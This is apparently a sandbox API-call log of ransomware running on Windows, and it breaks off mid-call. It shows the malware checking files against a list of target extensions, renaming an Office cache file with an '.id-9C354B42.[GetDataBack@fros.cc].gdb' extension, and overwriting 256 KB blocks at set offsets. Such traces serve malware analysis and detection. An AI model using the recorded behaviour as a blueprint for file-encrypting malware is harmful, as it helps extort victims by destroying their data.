[0115.595] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.595] lstrlenW (lpString=".rar") returned 4 [0115.595] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.595] lstrlenW (lpString=".bz2") returned 4 [0115.595] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.595] lstrlenW (lpString=".7z") returned 3 [0115.595] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.595] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.595] lstrlenW (lpString=".dbf") returned 4 [0115.595] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.595] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.595] lstrlenW (lpString=".1cd") returned 4 [0115.595] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.595] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.595] lstrlenW (lpString=".jpg") returned 4 [0115.595] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.595] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.595] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.595] lstrlenW (lpString=".doc") returned 4 [0115.595] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.595] lstrlenW (lpString=".docx") returned 5 [0115.595] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.595] lstrlenW (lpString=".pdf") returned 4 [0115.595] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.595] lstrlenW (lpString=".xls") returned 4 [0115.595] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.595] lstrlenW (lpString=".xlsx") returned 5 [0115.595] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.595] lstrlenW (lpString=".ppt") returned 4 [0115.595] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.595] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.595] lstrlenW (lpString=".zip") returned 4 [0115.595] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.595] lstrlenW (lpString=".rar") returned 4 [0115.595] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.595] lstrlenW (lpString=".bz2") returned 4 [0115.596] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.596] lstrlenW (lpString=".7z") returned 3 [0115.596] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.596] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.596] lstrlenW (lpString=".dbf") returned 4 [0115.596] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.596] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.596] lstrlenW (lpString=".1cd") returned 4 [0115.596] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.596] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.596] lstrlenW (lpString=".jpg") returned 4 [0115.596] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.596] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.596] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0115.596] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.596] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=90688) returned 1 [0115.596] CloseHandle (hObject=0x198) returned 1 [0115.596] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0115.596] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.596] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.596] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.596] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.596] lstrlenW (lpString=".doc") returned 4 [0115.596] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.596] lstrlenW (lpString=".docx") returned 5 [0115.596] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.597] lstrlenW (lpString=".pdf") returned 4 [0115.597] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.597] lstrlenW (lpString=".xls") returned 4 [0115.597] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.597] lstrlenW (lpString=".xlsx") returned 5 [0115.597] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.597] lstrlenW (lpString=".ppt") returned 4 [0115.597] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.597] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.597] lstrlenW (lpString=".zip") returned 4 [0115.597] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.597] lstrlenW (lpString=".rar") returned 4 [0115.597] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.597] lstrlenW (lpString=".bz2") returned 4 [0115.597] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.597] lstrlenW (lpString=".7z") returned 3 [0115.597] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.597] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.597] lstrlenW (lpString=".dbf") returned 4 [0115.597] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.597] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.597] lstrlenW (lpString=".1cd") returned 4 [0115.597] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.597] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.597] lstrlenW (lpString=".jpg") returned 4 [0115.597] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.597] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.597] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.597] lstrlenW (lpString=".doc") returned 4 [0115.597] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.597] lstrlenW (lpString=".docx") returned 5 [0115.597] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.597] lstrlenW (lpString=".pdf") returned 4 [0115.597] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.597] lstrlenW (lpString=".xls") returned 4 [0115.597] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.597] lstrlenW (lpString=".xlsx") returned 5 [0115.597] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.597] lstrlenW (lpString=".ppt") returned 4 [0115.597] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.597] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.597] lstrlenW (lpString=".zip") returned 4 [0115.597] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.597] lstrlenW (lpString=".rar") returned 4 [0115.598] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.598] lstrlenW (lpString=".bz2") returned 4 [0115.598] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.598] lstrlenW (lpString=".7z") returned 3 [0115.598] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.598] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.598] lstrlenW (lpString=".dbf") returned 4 [0115.598] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.598] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.598] lstrlenW (lpString=".1cd") returned 4 [0115.598] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.598] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0115.598] lstrlenW (lpString=".jpg") returned 4 [0115.598] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.598] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.598] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0115.598] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.598] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=90704) returned 1 [0115.598] CloseHandle (hObject=0x198) returned 1 [0115.598] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0115.598] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.598] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.598] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.598] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.598] lstrlenW (lpString=".doc") returned 4 [0115.598] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.599] lstrlenW (lpString=".docx") returned 5 [0115.599] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.599] lstrlenW (lpString=".pdf") returned 4 [0115.599] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.599] lstrlenW (lpString=".xls") returned 4 [0115.599] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.599] lstrlenW (lpString=".xlsx") returned 5 [0115.599] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.599] lstrlenW (lpString=".ppt") returned 4 [0115.599] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.599] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.599] lstrlenW (lpString=".zip") returned 4 [0115.599] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.599] lstrlenW (lpString=".rar") returned 4 [0115.599] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.599] lstrlenW (lpString=".bz2") returned 4 [0115.599] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.599] lstrlenW (lpString=".7z") returned 3 [0115.599] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.599] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.599] lstrlenW (lpString=".dbf") returned 4 [0115.599] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.599] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.599] lstrlenW (lpString=".1cd") returned 4 [0115.599] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.599] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.599] lstrlenW (lpString=".jpg") returned 4 [0115.599] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.599] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.599] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.599] lstrlenW (lpString=".doc") returned 4 [0115.599] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.599] lstrlenW (lpString=".docx") returned 5 [0115.599] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.599] lstrlenW (lpString=".pdf") returned 4 [0115.599] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.599] lstrlenW (lpString=".xls") returned 4 [0115.599] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.599] lstrlenW (lpString=".xlsx") returned 5 [0115.599] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.599] lstrlenW (lpString=".ppt") returned 4 [0115.599] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.600] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.600] lstrlenW (lpString=".zip") returned 4 [0115.600] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.600] lstrlenW (lpString=".rar") returned 4 [0115.600] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.600] lstrlenW (lpString=".bz2") returned 4 [0115.600] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.600] lstrlenW (lpString=".7z") returned 3 [0115.600] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.600] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.600] lstrlenW (lpString=".dbf") returned 4 [0115.600] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.600] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.600] lstrlenW (lpString=".1cd") returned 4 [0115.600] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.600] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0115.600] lstrlenW (lpString=".jpg") returned 4 [0115.600] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.600] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.600] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0115.600] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.600] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=76352) returned 1 [0115.600] CloseHandle (hObject=0x198) returned 1 [0115.600] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0115.600] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.600] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.600] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.601] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.601] lstrlenW (lpString=".doc") returned 4 [0115.601] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.601] lstrlenW (lpString=".docx") returned 5 [0115.601] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.601] lstrlenW (lpString=".pdf") returned 4 [0115.601] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.601] lstrlenW (lpString=".xls") returned 4 [0115.601] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.601] lstrlenW (lpString=".xlsx") returned 5 [0115.601] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.601] lstrlenW (lpString=".ppt") returned 4 [0115.601] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.601] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.601] lstrlenW (lpString=".zip") returned 4 [0115.601] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.601] lstrlenW (lpString=".rar") returned 4 [0115.601] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.601] lstrlenW (lpString=".bz2") returned 4 [0115.601] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.601] lstrlenW (lpString=".7z") returned 3 [0115.601] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.601] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.601] lstrlenW (lpString=".dbf") returned 4 [0115.601] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.601] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.601] lstrlenW (lpString=".1cd") returned 4 [0115.601] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.601] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.601] lstrlenW (lpString=".jpg") returned 4 [0115.601] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.602] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.602] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.602] lstrlenW (lpString=".doc") returned 4 [0115.602] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.602] lstrlenW (lpString=".docx") returned 5 [0115.602] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.602] lstrlenW (lpString=".pdf") returned 4 [0115.602] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.602] lstrlenW (lpString=".xls") returned 4 [0115.602] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.602] lstrlenW (lpString=".xlsx") returned 5 [0115.602] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.602] lstrlenW (lpString=".ppt") returned 4 [0115.602] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.602] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.602] lstrlenW (lpString=".zip") returned 4 [0115.602] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.602] lstrlenW (lpString=".rar") returned 4 [0115.602] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.602] lstrlenW (lpString=".bz2") returned 4 [0115.602] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.602] lstrlenW (lpString=".7z") returned 3 [0115.602] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.602] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.602] lstrlenW (lpString=".dbf") returned 4 [0115.602] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.602] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.602] lstrlenW (lpString=".1cd") returned 4 [0115.602] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.602] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0115.602] lstrlenW (lpString=".jpg") returned 4 [0115.602] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.602] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.602] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0115.602] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.603] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=75344) returned 1 [0115.603] CloseHandle (hObject=0x198) returned 1 [0115.603] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0115.603] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.603] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.603] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0115.603] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0115.603] lstrlenW (lpString=".doc") returned 4 [0115.603] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.603] lstrlenW (lpString=".docx") returned 5 [0115.603] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.603] lstrlenW (lpString=".pdf") returned 4 [0115.603] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.603] lstrlenW (lpString=".xls") returned 4 [0115.603] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.603] lstrlenW (lpString=".xlsx") returned 5 [0115.603] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.603] lstrlenW (lpString=".ppt") returned 4 [0115.603] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.603] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0115.603] lstrlenW (lpString=".zip") returned 4 [0115.603] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.603] lstrlenW (lpString=".rar") returned 4 [0115.603] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.603] lstrlenW (lpString=".bz2") returned 4 [0115.603] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.603] lstrlenW (lpString=".7z") returned 3 [0115.603] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.606] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0115.608] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.608] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0x0) returned 1 [0115.609] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0115.609] ReadFile (in: hFile=0x198, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0115.616] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0115.616] ReadFile (in: hFile=0x198, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0115.622] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.622] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0115.622] ReadFile (in: hFile=0x198, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0115.822] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0115.822] WriteFile (in: hFile=0x198, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x307fb58, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb58*=0xc0102, lpOverlapped=0x0) returned 1 [0115.836] SetEndOfFile (hFile=0x198) returned 1 [0115.839] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0115.839] WriteFile (in: hFile=0x198, lpBuffer=0x3807fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x3807fa8*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0115.840] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0115.840] WriteFile (in: hFile=0x198, lpBuffer=0x3807fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x3807fa8*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0115.840] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0115.841] WriteFile (in: hFile=0x198, lpBuffer=0x3807fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x3807fa8*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0115.842] CloseHandle (hObject=0x198) returned 1 [0118.628] SetFileAttributesW (lpFileName="C:\\MSOCache\\All 